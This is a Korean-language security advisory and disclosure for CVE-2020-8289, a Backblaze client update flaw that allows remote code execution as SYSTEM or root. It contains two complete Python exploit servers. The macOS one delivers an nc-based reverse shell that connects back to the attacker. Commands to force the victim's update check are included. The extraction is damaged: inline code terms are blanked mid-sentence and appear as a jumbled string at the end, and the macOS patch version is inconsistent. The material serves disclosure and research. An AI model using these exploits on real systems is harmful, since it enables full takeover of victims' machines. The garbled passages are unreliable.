
CVE-2020-8289 – Backblaze를 통한 SYSTEM/root 권한의 원격 코드 실행
이름: Backblaze를 통한 SYSTEM/root 원격 코드 실행
CVE: CVE-2020-8289
발견자: Jason Geffner
공급업체: Backblaze
제품: Windows용 Backblaze 및 macOS용 Backblaze
위험도: 치명적
발견 날짜: 2020-03-13
공개 날짜: 2020-09-09
수정 버전: 7.0.1.433 (Windows) 및 7.1.0.434 (macOS)
Wikipedia에 따르면 Backblaze는
"Windows 및 macOS 사용자가 데이터를 오프사이트 데이터 센터에 백업할 수 있게 해주는 온라인 백업 도구입니다. 이 서비스는 기업과 최종 사용자를 위해 설계되었으며, 무제한 저장 공간을 제공하고 무제한 파일 크기를 지원합니다."
취약한 버전의 Windows용 Backblaze 및 macOS용 Backblaze에는 권한이 없는 익명의 원격 공격자가 SYSTEM/root 권한으로 원격 코드 실행(RCE)을 수행할 수 있게 하는 치명적인 위험 취약점이 포함되어 있습니다.
Backblaze 클라이언트의 서비스 프로세스인 bzserv는 Windows에서는 SYSTEM으로, macOS에서는 root로 실행됩니다. bzserv는 두어 시간마다 bztransmit라는 프로그램을 (SYSTEM/root 권한으로) 실행하여 Backblaze 데이터 센터에서 clientversion.xml이라는 XML 파일을 다운로드하고, 더 새로운 버전의 Backblaze 클라이언트를 다운로드할 수 있는지 확인합니다. 이 XML 파일의 URL은 설치된 bzinstall.xml 파일(권한 없는 사용자에게는 읽기 전용)에 있는 bzdatacenter 호스트 이름과 하드코딩된 경로 api/clientversion.xml로 구성되며, https://ca000.backblaze.com/api/clientversion.xml과 같은 URL이 생성됩니다. 이 다운로드는 정적으로 링크된 libcurl 라이브러리를 통해 수행됩니다. 그러나 libcurl을 사용하는 함수에는 주어진 URL에 다음 문자열 중 하나가 포함되어 있으면 를 으로, 를 으로 설정하게 만드는 특이한 로직이 있습니다:
.backblaze.xyz/.backblazeb2.xyz/api/clientversion.xmlapi/install_backblaze이로 인해 원격 공격자는 유효하지 않은 SSL 인증서(예: 자체 서명된 인증서)로 웹 서버 https://ca000.backblaze.com/를 가장하고 공격자가 제어하는 clientversion.xml 파일을 클라이언트에 제공할 수 있습니다. bztransmit는 다운로드한 XML 파일을 구문 분석할 때 XML 파일에 설명된 최신 클라이언트 버전이 설치된 클라이언트 버전보다 새로운지 확인하고, 그렇다면 최신 클라이언트 버전의 설치 프로그램을 Backblaze 데이터 센터에서 다운로드합니다. 이 다운로드의 URL은 다운로드된 clientversion.xml 파일의 win32_url/mac_url 속성으로 구성됩니다. 속성 값은 %DEST_HOST%로 시작해야 하며 해당 문자열은 런타임에 위에서 설명한 데이터 센터 호스트 이름으로 대체됩니다. 따라서 공격자는 자신의 clientversion.xml에 %DEST_HOST%/api/install_backblaze와 같은 다운로드 URL을 제공하여 bztransmit가 https://ca000.backblaze.com/api/install_backblaze에서 설치 프로그램을 다운로드하게 만들 수 있으며, URL에 api/install_backblaze 문자열이 포함되어 있기 때문에 서버의 SSL 인증서를 다시 무시하게 됩니다. 다운로드한 파일이 ZIP 파일이 아닌 경우(예: PE 파일 또는 Mach-o 파일) 가 수행하는 유일한 파일 검증은 파일의 특정 오프셋 범위에 문자열 가 포함되어 있는지 확인하는 것입니다. 이 검증을 통과하면 는 /을 사용하여 다운로드한 파일을 / 권한으로 실행하므로, 공격자는 / 권한으로 RCE를 수행할 수 있습니다.
동영상: https://youtu.be/W0THXbcX5V8
이 개념 증명은 Windows 클라이언트를 위한 것입니다. 공격자가 이미 피해자에게 스푸핑된 DNS 응답을 보내 ca000.backblaze.com이 공격자의 IP를 가리키도록 했다고 가정하지만, PoC 테스트 목적으로는 피해자의 %windir%\System32\drivers\etc\hosts 파일에 <attacker's IP> ca000.backblaze.com 줄을 추가할 수도 있습니다. 아래 코드는 공격자가 rce.exe(피해자 시스템에서 SYSTEM 권한으로 실행됨)와 server.pem(자체 서명 가능)을 제공할 것으로 기대합니다.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for Windows."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
bzmagicpat = b"bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
b"xzgromitxxkublerrossxxskiepicxxnukepavex"
with open("rce.exe", "rb") as f:
exe = f.read()
if len(exe) > (50200 - len(bzmagicpat)):
raise("EXE too large")
exe += bzmagicpat
exe += b"\x00" * (50304 - len(exe))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(exe)))
self.end_headers()
self.wfile.write(exe)
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' win32_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
위 코드가 실행되면 기다리십시오. 피해자의 클라이언트는 두어 시간마다 업데이트를 확인합니다.
기다리지 않고 PoC를 테스트하려면 피해자 시스템에서 SYSTEM 권한으로(예: psexec 사용) 다음 명령을 실행하여 업데이트 확인을 강제할 수 있습니다.
del %ProgramData%\Backblaze\bzdata\bzupdates\bzautoupdate_2_hour_lock.lckbztransmit.exe -fetchclientversionxmlbztransmit.exe -downloadautoupdateifappropriate동영상: https://youtu.be/ILPP1Ky5nuY
이 개념 증명은 macOS 클라이언트를 위한 것입니다. 실제 환경에서는 공격자가 피해자에게 스푸핑된 DNS 응답을 보내 ca000.backblaze.com이 공격자의 IP를 가리키도록 하겠지만, PoC 목적으로는 피해자와 동일한 시스템에서 공격을 수행하고 손상된 Backblaze 서비스를 악용하여 공격자에게 다시 연결되는 원격 셸을 만들어, 원격 공격자가 루트 액세스 권한을 얻도록 합니다.
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Proof-of-concept exploit for CVE-2020-8289 for macOS."""
__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"
from http.server import HTTPServer, SimpleHTTPRequestHandler
import cgi
import ssl
attacker_ip = "localhost"
attacker_port = 12345
reverse_shell = "mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc " + \
f"{attacker_ip} {attacker_port} >/tmp/f"
bzmagicpat = "bzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxy" + \
"xzgromitxxkublerrossxxskiepicxxnukepavex"
payload = reverse_shell + "\n" + bzmagicpat
payload += "A" * (50304 - len(payload))
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Length", str(len(payload)))
self.end_headers()
self.wfile.write(payload.encode())
def do_POST(self):
self.send_response(200)
form = cgi.FieldStorage(
fp=self.rfile,
headers=self.headers,
environ={"REQUEST_METHOD": "POST"})
response = str.encode(
' update_hguids_firstchar="' + form.getvalue("hguid")[0] + '"' +
' win32_version="1' + form.getvalue("version") + '"' +
' mac_version="1' + form.getvalue("version") + '"' +
' mac_url="%DEST_HOST%/api/install_backblaze"')
self.send_header("Content-Length", str(len(response)))
self.end_headers()
self.wfile.write(response)
def do_CONNECT(self):
self.wfile.write("HTTP/1.1 200\r\n")
self.end_headers()
self.rfile = self.connection.makefile("rb", self.rbufsize)
self.wfile = self.connection.makefile("wb", self.wbufsize)
self.close_connection = 0
httpd = HTTPServer(("localhost", 443), Handler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem",
server_side=True)
httpd.serve_forever()
위 코드가 실행되면 기다리십시오. 피해자의 클라이언트는 두어 시간마다 업데이트를 확인합니다.
기다리지 않고 PoC를 테스트하려면 피해자 시스템에서 다음 명령을 실행하여 업데이트 확인을 강제할 수 있습니다.
sudo rm /Library/Backblaze.bzpkg/bzdata/bzupdates/bzautoupdate_2_hour_lock.lcksudo /Library/Backblaze.bzpkg/bztransmit -fetchclientversionxmlsudo /Library/Backblaze.bzpkg/bztransmit -downloadautoupdateifappropriateBackblaze는 Windows용 Backblaze 버전 7.0.1.433과 macOS용 버전 7.0.1.434에서 이 취약점을 패치했습니다.
이 취약점은 Jason Geffner가 HackerOne을 통해 발견하여 Backblaze에 보고했습니다.
2020-03-13 - 취약점 발견 및 HackerOne을 통해 Backblaze에 보고
2020-03-31 - HackerOne이 취약점 검증
2020-04-09 - Windows 빌드 7.0.1.433 및 macOS 빌드 7.1.0.434 출시
2020-04-17 - CVE-2020-8150 지정
2020-04-18 - 취약점 완화 조치 검증
2020-04-20 - 공개 요청됨
2020-09-09 - 공개됨
2020-12-22 - CVE 지정이 CVE-2020-8289로 변경됨
bztransmitCURLOPT_SSL_VERIFYPEER0CURLOPT_SSL_VERIFYHOST0bztransmitbzbzbzbzbzxaxbxcxdxexfxgxhxixjxkxlxmxnxoxpxqxrxsxtxuxvxwxxxyxzgromitxxkublerrossxxskiepicxxnukepavexbztransmitShellExecute()system()SYSTEMrootSYSTEMroot